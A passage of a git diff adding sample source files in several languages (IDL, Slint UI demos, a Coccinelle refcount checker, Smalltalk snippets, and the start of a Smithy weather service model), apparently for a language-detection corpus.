+	exception SomeModuleException {};
+
+	exception SomeModule1Exception extends SomeModuleException { string field1; };
+	exception SomeModule2Exception extends SomeModuleException { string field_with_underscores_2; };
+	exception SomeModule3Exception extends SomeModuleException { string fieldWithCamelCase3; };
+
+	enum SomeModuleEnum
+	{
+		SomeModuleNew,
+		SomeModuleAllGood,
+		SomeModuleAllBad
+	};
+
+	sequence<long> LongSeq;
+
+	struct SomeModuleResult
+	{
+		SomeModuleLevelStatus status;
+		LongSeq scores;
+	};
+
+	struct OtherThingStatus
+	{
+		long internalOtId;
+		OtherNs::OtherThingState otherThingState;
+	};
+
+	struct OtherThingResult
+	{
+		string otherThingId;
+		SomeModuleResult firstSomeModuleResult;
+		SomeModuleResult secondSomeModuleResult;
+		OtherNs::OtherThingState otherThingState;
+	};
+	sequence<OtherThingResult> OtherThingResultSeq;
+
+	struct AggregateOtherThingResult
+	{
+		long numFirstSomeModuleAllGood;
+		long numFirstSomeModuleNew;
+		long numFirstSomeModuleAllBad;
+		long numSecondSomeModuleAllGood;
+		long numSecondSomeModuleNew;
+		long numSecondSomeModuleAllBad;
+		long numOtherThingPending;
+		long numOtherThingSucceeded;
+		long numOtherThingFailed;
+		long numOtherThingInDoubt;
+	};
+
+	interface HappinessEstimator
+	{
+		// The following two datatypes are chosen for laziness reasons right now -- something more appropriate might be in order 
+		SomeModuleResult firstSomeModule(OtherNs::OtherSubNs::StartOtherThingRequest input);
+		SomeModuleResult secondSomeModule(OtherNs::OtherSubNs::AdditionalOtherThingInputRequest input);
+		// void setOtherThingStatus(OtherNs::OtherThingStatus status);
+
+		OtherThingResultSeq getOtherThingResultsPerProvider(string providerId, long startTimestampIncl, long endTimestampExcl);
+		AggregateOtherThingResult getAggregateOtherThingResultsPerProvider(string providerId, long startTimestampIncl, long endTimestampExcl);
+	};
+
+	struct HappinessRecipe
+	{
+		long id;
+		string ruleName;
+		long ruleWeight;
+	};
+	sequence<HappinessRecipe> HappinessRecipeSeq;
+
+	struct HappinessRecipeSetInfo
+	{
+		long id;
+		long nextRecipeLevel; // some comment
+		long fraudLevel;		// some other comment
+		/* yet another comment!! */    
+		HappinessRecipeSeq rules;
+	};
+
+	interface HappinessRecipeSet
+	{
+		HappinessRecipeSetInfo getInfo();
+		void addRecipe(HappinessRecipe rule);
+		void updateRecipe(HappinessRecipe newRecipe);
+		void removeRecipe(long ruleId);
+		void setNextRecipeLevel(long val);
+		void setAllBadLevel(long val);
+		void remove();
+	};
+	sequence<HappinessRecipeSet*> HappinessRecipeSetSeq;
+
+	struct HappinessThingInfo
+	{
+		string happinessThingId;
+		HappinessRecipeSetSeq ruleSets;
+	};
+
+	interface HappinessThing
+	{
+		string getId();
+		HappinessThingInfo getInfo();
+		HappinessRecipeSet* addRecipeSet();
+		// void removeRecipeSet(long id);
+		HappinessRecipeSet* getRecipeSetById(long id);
+		HappinessRecipeSetSeq getRecipeSets();
+	};
+
+	interface HappinessThingFactory
+	{
+		HappinessThing* getHappinessThing(string happinessThingId);
+		HappinessThing* createHappinessThing(string happinessThingId) throws HappinessThingIdAlreadyExistsException, PersistStoreException;
+		void removeHappinessThing(string happinessThingId) throws NoSuchHappinessThingIdException, PersistStoreException;
+	};
+};
+
+#endif
diff --git a/samples/Slint/iot-dashboard.slint b/samples/Slint/iot-dashboard.slint
new file mode 100644
index 0000000000..746950b772
--- /dev/null
+++ b/samples/Slint/iot-dashboard.slint
@@ -0,0 +1,356 @@
+// Copyright © SixtyFPS GmbH <info@slint.dev>
+// SPDX-License-Identifier: MIT
+
+import { StyleMetrics } from "std-widgets.slint";
+
+struct Palette  {
+    menuBar : brush,
+    mainContent : brush,
+    box : brush,
+    lightDisplay : brush,
+    pieChart : brush,
+    roundButton : brush,
+    weekdayBox : brush,
+    text : brush,
+    shadow : brush,
+}
+
+global Skin  {
+    in property <bool> day: !StyleMetrics.dark-color-scheme;
+    out property <Palette> palette : root.day ? {
+       menuBar : #6D7BFB,
+       mainContent :  #fbfbfb,
+       box :   #ffffff,
+       lightDisplay : #ffffff,
+       pieChart : #ffffff,
+       roundButton : #f7f7f7,
+       weekdayBox : #f4f4f4,
+       text : #000,
+       shadow : #0001, // ### added alpha
+    } : {
+       menuBar : #2937A7,
+       mainContent : #040404,
+       box : #000000,
+       lightDisplay : #000000,
+       pieChart : #000000,
+       roundButton : #0a0a0a,
+       weekdayBox : #0c0c0c,
+       text : #fff,
+       shadow : #fff1, // ### added alpha
+    };
+
+    // From Skin::initHints in Skin.cpp
+    out property <length> DefaultFont: 12px;
+    out property <length> TinyFont: 9px;
+    out property <length> SmallFont: 10px;
+    out property <length> MediumFont: 13px;
+    out property <length> LargeFont: 20px;
+    out property <length> HugeFont: 27px; // (also, bold)
+    out property <length> TitleFont: 10px; // (also, bold)
+}
+
+export component Clock inherits  VerticalLayout {
+    in property <string> time <=> time-label.text;
+
+    Text {
+        text: "Current time";
+        font-size: Skin.TitleFont;
+        font-weight: 700;
+    }
+    time-label := Text {
+        // FIXME: actual time
+        text: "10:02:45";
+        font-size: Skin.HugeFont;
+        font-weight: 700;
+        color: #6776FF;
+    }
+}
+
+component PieChartBackground inherits Path {
+    in property <float> thickness;
+    in property <float> inner-radius;
+
+    fill: #aaaaaa40;
+
+    viewbox-width: 100;
+    viewbox-height: 100;
+
+    MoveTo {
+        x: 50;
+        y: 0;
+    }
+    ArcTo {
+        radius-x: 50;
+        radius-y: 50;
+        x: 50;
+        y: 100;
+        sweep: true;
+    }
+    ArcTo {
+        radius-x: 50;
+        radius-y: 50;
+        x: 50;
+        y: 0;
+        sweep: true;
+    }
+    LineTo {
+        x: 50;
+        y: root.thickness;
+    }
+    ArcTo {
+        radius-x: root.inner-radius;
+        radius-y: root.inner-radius;
+        x: 50;
+        y: 100 - root.thickness;
+    }
+    ArcTo {
+        radius-x: root.inner-radius;
+        radius-y: root.inner-radius;
+        x: 50;
+        y: root.thickness;
+    }
+}
+
+component PieChartFill inherits Path {
+    in property <float> thickness;
+    in property <float> inner-radius;
+    in property <float> progress;
+    in property <float> start : 0;
+
+    viewbox-width: 100;
+    viewbox-height: 100;
+
+    MoveTo {
+        y: 50 - 50 * cos(-root.start * 360deg);
+        x: 50 - 50 * sin(-root.start * 360deg);
+    }
+
+    LineTo {
+        y: 50 - root.inner-radius * cos(-root.start * 360deg);
+        x: 50 - root.inner-radius * sin(-root.start * 360deg);
+    }
+
+    ArcTo {
+        radius-x: root.inner-radius;
+        radius-y: root.inner-radius;
+        y: 50 - root.inner-radius*cos(-(root.start + root.progress) * 360deg);
+        x: 50 - root.inner-radius*sin(-(root.start + root.progress) * 360deg);
+        sweep: root.progress > 0;
+        large-arc: root.progress > 0.5;
+    }
+
+    LineTo {
+        y: 50 - 50*cos(-(root.start + root.progress) * 360deg);
+        x: 50 - 50*sin(-(root.start + root.progress) * 360deg);
+    }
+
+    ArcTo {
+        radius-x: 50;
+        radius-y: 50;
+        y: 50 - 50 * cos(-root.start * 360deg);
+        x: 50 - 50 * sin(-root.start * 360deg);
+        sweep: root.progress < 0;
+        large-arc: root.progress > 0.5;
+    }
+
+    LineTo {
+        y: 50 - 50 * cos(-root.start * 360deg);
+        x: 50 - 50 * sin(-root.start * 360deg);
+    }
+}
+
+component PieChartPainted inherits Rectangle {
+    in property <brush> brush <=> p.fill;
+    in property <float> progress;
+    in property <float> thickness: 15;
+    in property <float> inner-radius: 50 - root.thickness;
+
+    back := PieChartBackground {
+        width: 100%;
+        height: 100%;
+        thickness: root.thickness;
+        inner-radius: root.inner-radius;
+    }
+
+    p := PieChartFill {
+        width: 100%;
+        height: 100%;
+        thickness: root.thickness;
+        inner-radius: root.inner-radius;
+        progress: root.progress;
+    }
+}
+
+
+// From TopBar.cpp
+export component TopBar inherits HorizontalLayout {
+    padding-left: 25px;
+    padding-top: 35px;
+    padding-right: 25px;
+    padding-bottom: 0px;
+    spacing: 0px;
+
+    for item in [
+        { string: "Living Room", progress: 25, value: 175, color: #ff3122, gradient: @linear-gradient(0deg, #FF5C00, #FF3122) },
+        { string: "Bedroom", progress: 45, value: 205, color: #6776ff, gradient: @linear-gradient(0deg, #6776FF, #6100FF) },
+        { string: "Bathroom", progress: 15, value: 115, color: #f99055, gradient: @linear-gradient(0deg, #FFCE50, #FF3122) },
+        { string: "Kitchen", progress: 86, value: 289, color: #6776ff, gradient: @linear-gradient(0deg, #6776FF, #6100FF) },
+    ] : VerticalLayout {
+        padding: 0px;
+        spacing: 0px;
+
+        Text {
+            font-size: Skin.SmallFont;
+            text: item.string;
+        }
+
+        HorizontalLayout {
+            PieChartPainted {
+                brush: item.gradient;
+                progress: item.progress / 100;
+
+                Text {
+                    width: 100%;
+                    height: 100%;
+                    vertical-alignment: center;
+                    horizontal-alignment: center;
+                    text: item.progress + "%";
+                    color: item.color;
+                    font-size: Skin.TinyFont;
+                }
+            }
+
+            VerticalLayout {
+                Text {
+                    text: item.value;
+                    font-size: Skin.MediumFont;
+                }
+                Text {
+                    text: "kwH";
+                    font-size: Skin.SmallFont;
+                }
+            }
+            Rectangle {}
+        }
+    }
+    @children
+}
+
+// From Box.cpp
+
+// This element is not in the C++ version, created to share code between Box and the Usage element
+component BoxBase inherits Rectangle {
+    background: Skin.palette.box;
+    drop-shadow-offset-x: 6px;
+    drop-shadow-offset-y: 6px;
+    drop-shadow-blur: 6px;
+    drop-shadow-color: Skin.palette.shadow;
+}
+
+component Box inherits BoxBase {
+    in property <string> title;
+
+    VerticalLayout {
+        if (root.title != "") : Text {
+            text <=> root.title;
+            font-size: Skin.TitleFont;
+            font-weight: 700;
+        }
+        spacing: 10px;
+        padding: 15px;
+
+        @children
+    }
+}
+
+// From RoundedIcon.cpp
+component RoundedIcon inherits Rectangle {
+    in property <bool> isBright;
+    in property <bool> isSmall;
+    in property <image> iconName <=> m-graphicLabel.source;
+    in property <float> background-opacity <=> background-fill.opacity;
+
+    height: root.isSmall ? 60px : 68px;
+    width: root.isSmall ? 60px : 68px;
+
+    background-fill := Rectangle {
+        background: root.isBright ? @linear-gradient(180deg, #ff7d34, #ff3122) : @linear-gradient(180deg, #6776FF, #6100FF);
+        border-radius: 6px;
+        opacity: 1.0;
+    }
+
+    m-graphicLabel := Image {
+        x: (parent.width - self.width) / 2;
+        y: (parent.height - self.height) / 2;
+    }
+}
+
+//from Usage.cpp
+component UsageSpacer inherits Text {
+    text: "_____";
+    font-size: Skin.SmallFont;
+    color: #dddddd;
+    horizontal-stretch: 2;
+}
+
+// Deviation: To align the items visually better, this is using a grid layout
+export component Usage inherits Box {
+    title: "Usage";
+    horizontal-stretch: 1;
+
+    GridLayout {
+        spacing: 0px;
+        vertical-stretch: 1;
+        Row { Rectangle { vertical-stretch: 0; } }
+
+        Row {
+            Text { text: "Usage Today"; font-size: Skin.SmallFont; }
+            UsageSpacer { }
+            Text { text: "0,5 kwH"; font-size: Skin.SmallFont; }
+        }
+
+        Row {
+            Text { text: "Usage this month"; font-size: Skin.SmallFont; }
+            UsageSpacer { }
+            Text { text: "60 kwH"; font-size: Skin.SmallFont; }
+        }
+
+        Row {
+            Text { text: "Total working hours"; font-size: Skin.SmallFont; }
+            UsageSpacer { }
+            Text { text: "125 hrs"; font-size: Skin.SmallFont; }
+        }
+    }
+}
+
+// From UpAndDownButton.cpp
+component RoundButton inherits Image { //### QskPushButton
+    in property <bool> is-up; // ### QskAspect
+    in property <color> color: #929CB2; // Taken from the fill in the svg itself.
+
+    callback clicked <=> ta.clicked;
+
+    width: 30px;
+
+    Image {
+        source: root.is-up ? @image-url("images/up.svg") : @image-url("images/down.svg");
+        x: (parent.width - self.width) / 2;
+        y: (parent.height - self.height) / 2;
+        // Deviation from qskinny: Show a darker color when pressing the button to provide feedback.
+        colorize: ta.pressed ? root.color.darker(80%) : root.color;
+    }
+
+    ta := TouchArea {  }
+}
+component UpAndDownButton inherits Rectangle {
+    callback changed(int);
+    // FIXME: this is actually on the RoundButton
+    border-radius: root.width / 2;
+    background: Skin.palette.roundButton;
+
+    VerticalLayout {
+        u := RoundButton { is-up: true;  clicked => { root.changed(+1) }}
+        d := RoundButton { is-up: false; clicked => { root.changed(-1) }}
+    }
+}
+
diff --git a/samples/Slint/slide_puzzle.slint b/samples/Slint/slide_puzzle.slint
new file mode 100644
index 0000000000..68a595a5cf
--- /dev/null
+++ b/samples/Slint/slide_puzzle.slint
@@ -0,0 +1,319 @@
+// Copyright © SixtyFPS GmbH <info@slint.dev>
+// SPDX-License-Identifier: MIT
+
+struct Piece  {
+    // col/row position of the tile in the puzzle
+    pos-x: int,
+    pos-y: int,
+    // offset in pixel from the base position for the kicking animation
+    offset-x: length,
+    offset-y: length,
+}
+
+struct Theme  {
+    name: string,
+    window-background-color: brush,
+    game-background-color: brush,
+    game-use-background-image: bool,
+    game-border: length,
+    game-radius: length,
+    game-text-color: color,
+    game-highlight-color: color,
+    piece-border: length,
+    piece-background-1: brush,
+    piece-background-2: brush,
+    piece-border-color-1: brush,
+    piece-border-color-2: brush,
+    piece-text-color-1: color,
+    piece-text-color-2: color,
+    piece-text-weight-incorrect-pos: int,
+    piece-text-weight-correct-pos: int,
+    piece-text-font-family: string,
+    piece-radius: length,
+    /// Ratio of the piece size
+    piece-spacing: float,
+}
+
+component Checkbox inherits Rectangle {
+    in property <color> checked-color;
+    in property <color> unchecked-color;
+    in-out property <bool> checked;
+
+    callback toggled(bool);
+
+    states [
+         checked when root.checked : {
+             clip.width: root.width;
+             checkbox-rect.border-color: root.checked-color;
+             checkbox-rect.border-width: root.width;
+             in {
+                 animate clip.width { duration: 200ms; easing: ease-in; }
+                 animate checkbox-rect.border-width { duration: 100ms; easing: ease-out; }
+             }
+             out {
+                 animate clip.width { duration: 100ms; easing: ease; }
+                 animate checkbox-rect.border-width { duration: 200ms; easing: ease-in-out; }
+                 animate checkbox-rect.border-color { duration: 200ms; easing: cubic-bezier(1,1,1,0); }
+             }
+         }
+     ]
+
+    hover-rect := Rectangle {
+        background: #f5f5f5;
+        x: - parent.width / 4;
+        y: - parent.height / 4;
+        width: ta.has-hover ? root.width * 1.5 : 0px;
+        height: self.width;
+        border-radius: self.width;
+    }
+
+    checkbox-rect := Rectangle {
+        border-width: self.height * 10%;
+        border-color: root.unchecked-color;
+        border-radius: 2px;
+
+        clip := Rectangle {
+            x:0;
+            width: 0px;
+            clip: true;
+
+            Text {
+                x:0;y:0;
+                width: root.width;
+                height: root.height;
+                text: "✓";
+                font-size: self.height * 80%;
+                color: white;
+                vertical-alignment: center;
+                horizontal-alignment: center;
+
+                animate color { duration: 200ms; }
+            }
+        }
+
+        ta := TouchArea {
+            clicked => {
+                root.checked = !root.checked;
+                root.toggled(root.checked);
+            }
+        }
+
+    }
+}
+
+export component MainWindow inherits Window {
+    in property <[Piece]> pieces: [
+        { pos-x: 0, pos-y: 0 },
+        { pos-x: 0, pos-y: 1 },
+        { pos-x: 0, pos-y: 2 },
+        { pos-x: 0, pos-y: 3 },
+        { pos-x: 1, pos-y: 0 },
+        { pos-x: 1, pos-y: 1 },
+        { pos-x: 1, pos-y: 2 },
+        { pos-x: 1, pos-y: 3 },
+        { pos-x: 2, pos-y: 0 },
+        { pos-x: 2, pos-y: 1 },
+        { pos-x: 2, pos-y: 2 },
+        { pos-x: 2, pos-y: 3 },
+        { pos-x: 3, pos-y: 0 },
+        { pos-x: 3, pos-y: 1 },
+        { pos-x: 3, pos-y: 2 },
+    ];
+    out property <int> current-theme-index;
+    in-out property <bool> auto-play;
+    in-out property <int> moves;
+    in-out property <int> tiles-left;
+
+    callback piece-clicked(int);
+    callback reset();
+    callback enable-auto-mode(bool);
+
+    private property <[Theme]> themes: [
+        {
+            name: "SIMPLE",
+            window-background-color: #ffffff,
+            game-background-color: #ffffff,
+            game-use-background-image: false,
+            game-border: 1px,
+            game-radius: 2px,
+            game-text-color: #858585,
+            game-highlight-color: #1d6aaa,
+            piece-border: 1px,
+            piece-background-1: #0d579b,
+            piece-background-2: #0d579b,
+            piece-border-color-1: #0a457b,
+            piece-border-color-2: #0a457b,
+            piece-text-color-1: #ffffff,
+            piece-text-color-2: #ffffff,
+            piece-text-weight-incorrect-pos: 400,
+            piece-text-weight-correct-pos: 700,
+            piece-radius: 5px,
+            /// Ratio of the piece size
+            piece-spacing: 10%,
+        },
+    ];
+    private property <Theme> current-theme: root.themes[root.current-theme-index];
+    private property <length> pieces-size: min(root.width, root.height) / 6;
+    private property <length> pieces-spacing: root.current-theme.game-use-background-image && root.tiles-left == 0 ?
+        2px : (root.pieces-size * root.current-theme.piece-spacing);
+
+    title: "Slide Puzzle - Slint Demo";
+
+    animate pieces-spacing { duration: 500ms; easing: ease-out; }
+
+    Rectangle {
+        background: root.current-theme.window-background-color;
+        animate background { duration: 500ms; easing: ease-out; }
+    }
+
+    Rectangle {
+        background: root.current-theme.game-background-color;
+        border-color: root.current-theme.game-text-color;
+        border-width: root.current-theme.game-border;
+        border-radius: root.current-theme.game-radius;
+        width: root.pieces-size * 4.6;
+        height: root.pieces-size * 5.4;
+        x: (parent.width - self.width)/2;
+        y: (parent.height - self.height)/2;
+        animate background, border-color, border-width, border-radius { duration: 500ms; easing: ease-out; }
+
+        Rectangle {
+            y:0;
+            width: parent.width * 90%;
+            height: root.pieces-size/2;
+            x: (parent.width - self.width) / 2;
+
+            
+        }
+
+        for p[i] in root.pieces : Rectangle {
+            property <float> px: p.pos-x;
+            property <float> py: p.pos-y;
+            property <bool> is-correct: i == p.pos-x * 4 + p.pos-y;
+
+            x: self.py * (root.pieces-size + root.pieces-spacing) + p.offset-x
+                + (parent.width - (4*root.pieces-size + 3*root.pieces-spacing))/2;
+            y: self.px * (root.pieces-size + root.pieces-spacing) + p.offset-y
+                + (parent.height - (4*root.pieces-size + 3*root.pieces-spacing))/2;
+            width: root.pieces-size;
+            height: root.pieces-size;
+            drop-shadow-offset-x: 1px;
+            drop-shadow-offset-y: 1px;
+            drop-shadow-blur: 3px;
+            drop-shadow-color: #00000040;
+            border-radius: root.current-theme.piece-radius;
+            clip: true;
+
+            states [
+                pressed when touch.pressed : {
+                    shadow.color: #0002;
+                    circle.width: shadow.width * 2 * 1.4142;
+                in  {
+                    animate shadow.color { duration: 50ms; }
+                    animate circle.width { duration: 2s; easing: ease-out; }
+                }
+                out  {
+                    animate shadow.color { duration: 50ms; }
+                }
+                }
+                hover when touch.has-hover: {
+                    shadow.color: #0000000d;
+                }
+            ]
+
+            if (!root.current-theme.game-use-background-image) : Rectangle {
+                background: i >= 8 ? root.current-theme.piece-background-2 : root.current-theme.piece-background-1;
+                border-color: i >= 8 ? root.current-theme.piece-border-color-2 : root.current-theme.piece-border-color-1;
+                border-width: root.current-theme.piece-border;
+                border-radius: root.current-theme.piece-radius;
+
+                animate border-width, border-radius { duration: 500ms; easing: ease-out; }
+            }
+
+            if (!root.current-theme.game-use-background-image || root.tiles-left > 0) : Text {
+                text: i+1;
+                color: ((!root.current-theme.game-use-background-image && i >= 8) || (root.current-theme.game-use-background-image && is-correct)) ? root.current-theme.piece-text-color-2 : root.current-theme.piece-text-color-1;
+                font-size: root.pieces-size / 3;
+                font-weight: is-correct ? root.current-theme.piece-text-weight-correct-pos : root.current-theme.piece-text-weight-incorrect-pos;
+                font-family: root.current-theme.piece-text-font-family;
+                vertical-alignment: center;
+                horizontal-alignment: center;
+                width: 100%;
+                height: 100%;
+            }
+
+            touch := TouchArea {
+                clicked => { root.piece-clicked(i); }
+            }
+
+            shadow := Rectangle {
+                circle := Rectangle {
+                    height: self.width;
+                    border-radius: self.width/2;
+                    background: #0002;
+                    x: touch.pressed-x - self.width/2;
+                    y: touch.pressed-y - self.width/2;
+                }
+            }
+        }
+
+        Rectangle {
+            width: parent.width;
+            height: 1px;
+            background: root.current-theme.game-text-color;
+            y: parent.height - root.pieces-size / 2;
+        }
+
+        HorizontalLayout {
+            height: root.pieces-size / 2;
+            y: parent.height - root.pieces-size / 2;
+            width: parent.width;
+            padding: self.height * 25%;
+
+            Text {
+                text: " ↻ ";
+                font-size: parent.height * 40%;
+                color: root.current-theme.game-highlight-color;
+                vertical-alignment: center;
+                TouchArea {
+                    clicked => { root.reset(); }
+                }
+            }
+
+            Checkbox {
+                toggled(checked) => { root.enable-auto-mode(self.checked) }
+
+                width: parent.height - 2 * parent.padding;
+                checked <=> root.auto-play;
+                checked-color: root.current-theme.game-highlight-color;
+                unchecked-color: root.current-theme.game-text-color;
+            }
+
+            Rectangle {} // stretch
+
+            Text {
+                text: root.moves;
+                color: root.current-theme.game-highlight-color;
+                vertical-alignment: center;
+            }
+
+            Text {
+                text: "Moves ";
+                color: root.current-theme.game-text-color;
+                vertical-alignment: center;
+            }
+
+            Text {
+                text: root.tiles-left;
+                color: root.current-theme.game-highlight-color;
+                vertical-alignment: center;
+            }
+
+            Text {
+                text: "Tiles left";
+                color: root.current-theme.game-text-color;
+                vertical-alignment: center;
+            }
+        }
+    }
+}
diff --git a/samples/Slint/todo.slint b/samples/Slint/todo.slint
new file mode 100644
index 0000000000..4fe843492e
--- /dev/null
+++ b/samples/Slint/todo.slint
@@ -0,0 +1,134 @@
+// Copyright © SixtyFPS GmbH <info@slint.dev>
+// SPDX-License-Identifier: MIT
+
+import { SpinBox, Button, CheckBox, Slider, LineEdit, ScrollView, ListView,
+    HorizontalBox, VerticalBox, GridBox, StandardButton, Palette } from "std-widgets.slint";
+
+@rust-attr(derive(serde::Serialize, serde::Deserialize))
+export struct TodoItem  {
+    title: string,
+    checked: bool,
+}
+
+component MainWindow inherits Window {
+    in property <[TodoItem]> todo-model: [
+        { title: "Implement the .slint file", checked: true },
+        { title: "Do the Rust part", checked: false },
+        { title: "Make the C++ code", checked: false },
+        { title: "Write some JavaScript code", checked: false },
+        { title: "Test the application", checked: false },
+        { title: "Ship to customer", checked: false },
+        { title: "???", checked: false },
+        { title: "Profit", checked: false },
+    ];
+
+    in property <bool> show-header: false;
+    in-out property <bool> is-sort-by-name: false;
+    in-out property <bool> hide-done-items: false;
+
+    callback todo-added(string);
+    callback remove-done();
+    callback popup_confirmed;
+    callback show_confirm_popup;
+    callback apply_sorting_and_filtering();
+
+    show_confirm_popup => { confirm_popup.show(); }
+
+    preferred-width: 400px;
+    preferred-height: 600px;
+
+    confirm_popup := PopupWindow {
+        x: 40px;
+        y: 100px;
+        width: min(confirm_popup_layout.preferred-width, root.width - 80px);
+
+        Rectangle {
+            background: Palette.background;
+            border-color: Palette.border;
+            border-width: 1px;
+        }
+
+        confirm_popup_layout := Dialog {
+            height:100%; width: 100%;
+
+            confirm_popup_text := Text {
+                text: "Some items are not done, are you sure you wish to quit?";
+                wrap: word-wrap;
+            }
+
+            StandardButton { kind: yes; clicked => { root.popup_confirmed(); } }
+            StandardButton { kind: no; }
+        }
+    }
+
+
+    VerticalBox {
+        HorizontalBox {
+            padding: 0px;
+            text-edit := LineEdit {
+                accepted(text) => {
+                    root.todo-added(self.text);
+                    self.text = "";
+                }
+
+                placeholder-text: "What needs to be done?";
+            }
+
+            btn := Button {
+                clicked => {
+                    root.todo-added(text-edit.text);
+                    text-edit.text = "";
+                }
+
+                text: "Add New Entry";
+                enabled: text-edit.text != "";
+            }
+        }
+
+        if (root.show-header) : HorizontalBox {
+            padding: 0px;
+            alignment: start;
+
+            CheckBox {
+                toggled => {
+                    root.apply_sorting_and_filtering();
+                }
+
+                text: "Sort by name";
+                checked <=> root.is-sort-by-name;
+            }
+
+            CheckBox {
+                toggled => {
+                    root.apply_sorting_and_filtering();
+                }
+
+                text: "Hide done items";
+                checked <=> root.hide-done-items;
+            }
+        }
+
+        list-view := ListView {
+            for todo in root.todo-model:  HorizontalLayout {
+                CheckBox {
+                    toggled => {
+                        todo.checked = self.checked;
+                    }
+
+                    text: todo.title;
+                    checked: todo.checked;
+                }
+            }
+        }
+        HorizontalBox {
+            padding: 0px;
+            alignment: end;
+
+            Button {
+                clicked => { root.remove-done(); }
+
+                text: "Remove Done Items";
+            }
+        }
+    }
+}
diff --git a/samples/SmPL/atomic_as_refcounter.cocci b/samples/SmPL/atomic_as_refcounter.cocci
new file mode 100644
index 0000000000..988120e0fd
--- /dev/null
+++ b/samples/SmPL/atomic_as_refcounter.cocci
@@ -0,0 +1,129 @@
+// Check if refcount_t type and API should be used
+// instead of atomic_t type when dealing with refcounters
+//
+// Copyright (c) 2016-2017, Elena Reshetova, Intel Corporation
+//
+// Confidence: Moderate
+// URL: http://coccinelle.lip6.fr/
+// Options: --include-headers --very-quiet
+
+virtual report
+
+@r1 exists@
+identifier a, x;
+position p1, p2;
+identifier fname =~ ".*free.*";
+identifier fname2 =~ ".*destroy.*";
+identifier fname3 =~ ".*del.*";
+identifier fname4 =~ ".*queue_work.*";
+identifier fname5 =~ ".*schedule_work.*";
+identifier fname6 =~ ".*call_rcu.*";
+
+@@
+
+(
+ atomic_dec_and_test@p1(&(a)->x)
+|
+ atomic_dec_and_lock@p1(&(a)->x, ...)
+|
+ atomic_long_dec_and_lock@p1(&(a)->x, ...)
+|
+ atomic_long_dec_and_test@p1(&(a)->x)
+|
+ atomic64_dec_and_test@p1(&(a)->x)
+|
+ local_dec_and_test@p1(&(a)->x)
+)
+...
+(
+ fname@p2(a, ...);
+|
+ fname2@p2(...);
+|
+ fname3@p2(...);
+|
+ fname4@p2(...);
+|
+ fname5@p2(...);
+|
+ fname6@p2(...);
+)
+
+
+@script:python depends on report@
+p1 << r1.p1;
+p2 << r1.p2;
+@@
+msg = "atomic_dec_and_test variation before object free at line %s."
+coccilib.report.print_report(p1[0], msg % (p2[0].line))
+
+@r4 exists@
+identifier a, x, y;
+position p1, p2;
+identifier fname =~ ".*free.*";
+
+@@
+
+(
+ atomic_dec_and_test@p1(&(a)->x)
+|
+ atomic_dec_and_lock@p1(&(a)->x, ...)
+|
+ atomic_long_dec_and_lock@p1(&(a)->x, ...)
+|
+ atomic_long_dec_and_test@p1(&(a)->x)
+|
+ atomic64_dec_and_test@p1(&(a)->x)
+|
+ local_dec_and_test@p1(&(a)->x)
+)
+...
+y=a
+...
+fname@p2(y, ...);
+
+
+@script:python depends on report@
+p1 << r4.p1;
+p2 << r4.p2;
+@@
+msg = "atomic_dec_and_test variation before object free at line %s."
+coccilib.report.print_report(p1[0], msg % (p2[0].line))
+
+@r2 exists@
+identifier a, x;
+position p1;
+@@
+
+(
+atomic_add_unless(&(a)->x,-1,1)@p1
+|
+atomic_long_add_unless(&(a)->x,-1,1)@p1
+|
+atomic64_add_unless(&(a)->x,-1,1)@p1
+)
+
+@script:python depends on report@
+p1 << r2.p1;
+@@
+msg = "atomic_add_unless"
+coccilib.report.print_report(p1[0], msg)
+
+@r3 exists@
+identifier x;
+position p1;
+@@
+
+(
+x = atomic_add_return@p1(-1, ...);
+|
+x = atomic_long_add_return@p1(-1, ...);
+|
+x = atomic64_add_return@p1(-1, ...);
+)
+
+@script:python depends on report@
+p1 << r3.p1;
+@@
+msg = "x = atomic_add_return(-1, ...)"
+coccilib.report.print_report(p1[0], msg)
diff --git a/samples/Smalltalk/baselineDependency.st b/samples/Smalltalk/baselineDependency.st
new file mode 100644
index 0000000000..0830bb81d5
--- /dev/null
+++ b/samples/Smalltalk/baselineDependency.st
@@ -0,0 +1,8 @@
+dependencies
+neoJSON: spec
+	spec
+		configuration: 'NeoJSON'
+		with: [ spec
+				className: 'ConfigurationOfNeoJSON';
+				version: #stable;
+				repository: 'http://smalltalkhub.com/mc/SvenVanCaekenberghe/Neo/main' ]
\ No newline at end of file
diff --git a/samples/Smalltalk/categories.st b/samples/Smalltalk/categories.st
new file mode 100644
index 0000000000..680c6662b0
--- /dev/null
+++ b/samples/Smalltalk/categories.st
@@ -0,0 +1,8 @@
+SystemOrganization addCategory: #ChartJs!
+SystemOrganization addCategory: 'ChartJs-Component'!
+SystemOrganization addCategory: 'ChartJs-Demo'!
+SystemOrganization addCategory: 'ChartJs-Exception'!
+SystemOrganization addCategory: 'ChartJs-Library'!
+SystemOrganization addCategory: 'ChartJs-Model'!
+SystemOrganization addCategory: 'ChartJs-Style'!
+SystemOrganization addCategory: 'ChartJs-Types'!
diff --git a/samples/Smalltalk/renderSeasideExampleOn..st b/samples/Smalltalk/renderSeasideExampleOn..st
new file mode 100644
index 0000000000..a5427572cc
--- /dev/null
+++ b/samples/Smalltalk/renderSeasideExampleOn..st
@@ -0,0 +1,9 @@
+rendering
+renderTitleId: divId on: html
+	^ html div
+		id: #title , divId;
+		class: #aClass;
+		with: [ 
+					html heading
+						level3;
+						with: self data title ]
\ No newline at end of file
diff --git a/samples/Smalltalk/scriptWithPragma.st b/samples/Smalltalk/scriptWithPragma.st
new file mode 100644
index 0000000000..3f9dec816d
--- /dev/null
+++ b/samples/Smalltalk/scriptWithPragma.st
@@ -0,0 +1,11 @@
+helpers
+installGitFileTree
+	"GitFileTree is the tool we will use to commit on GitHub."
+
+	<script>
+	Metacello new
+		baseline: 'FileTree';
+		repository:
+			'github://dalehenrich/filetree:pharo' , SystemVersion current dottedMajorMinor
+				, '_dev/repository';
+		load: 'Git'
\ No newline at end of file
diff --git a/samples/Smalltalk/smallMethod.st b/samples/Smalltalk/smallMethod.st
new file mode 100644
index 0000000000..172af4d7e6
--- /dev/null
+++ b/samples/Smalltalk/smallMethod.st
@@ -0,0 +1,3 @@
+ChartJs
+dataFunction
+	^ 'bars'
\ No newline at end of file
diff --git a/samples/Smithy/weather.smithy b/samples/Smithy/weather.smithy
new file mode 100644
index 0000000000..80ece28646
--- /dev/null
+++ b/samples/Smithy/weather.smithy
@@ -0,0 +1,18 @@
+$version: "2"
+namespace example.weather
+
+/// Provides weather forecasts.
+service Weather {
+    version: "2006-03-01"
+    resources: [City]
+}
+
+resource City {
+    identifiers: { cityId: CityId }
+    read: GetCity
+    list: ListCities
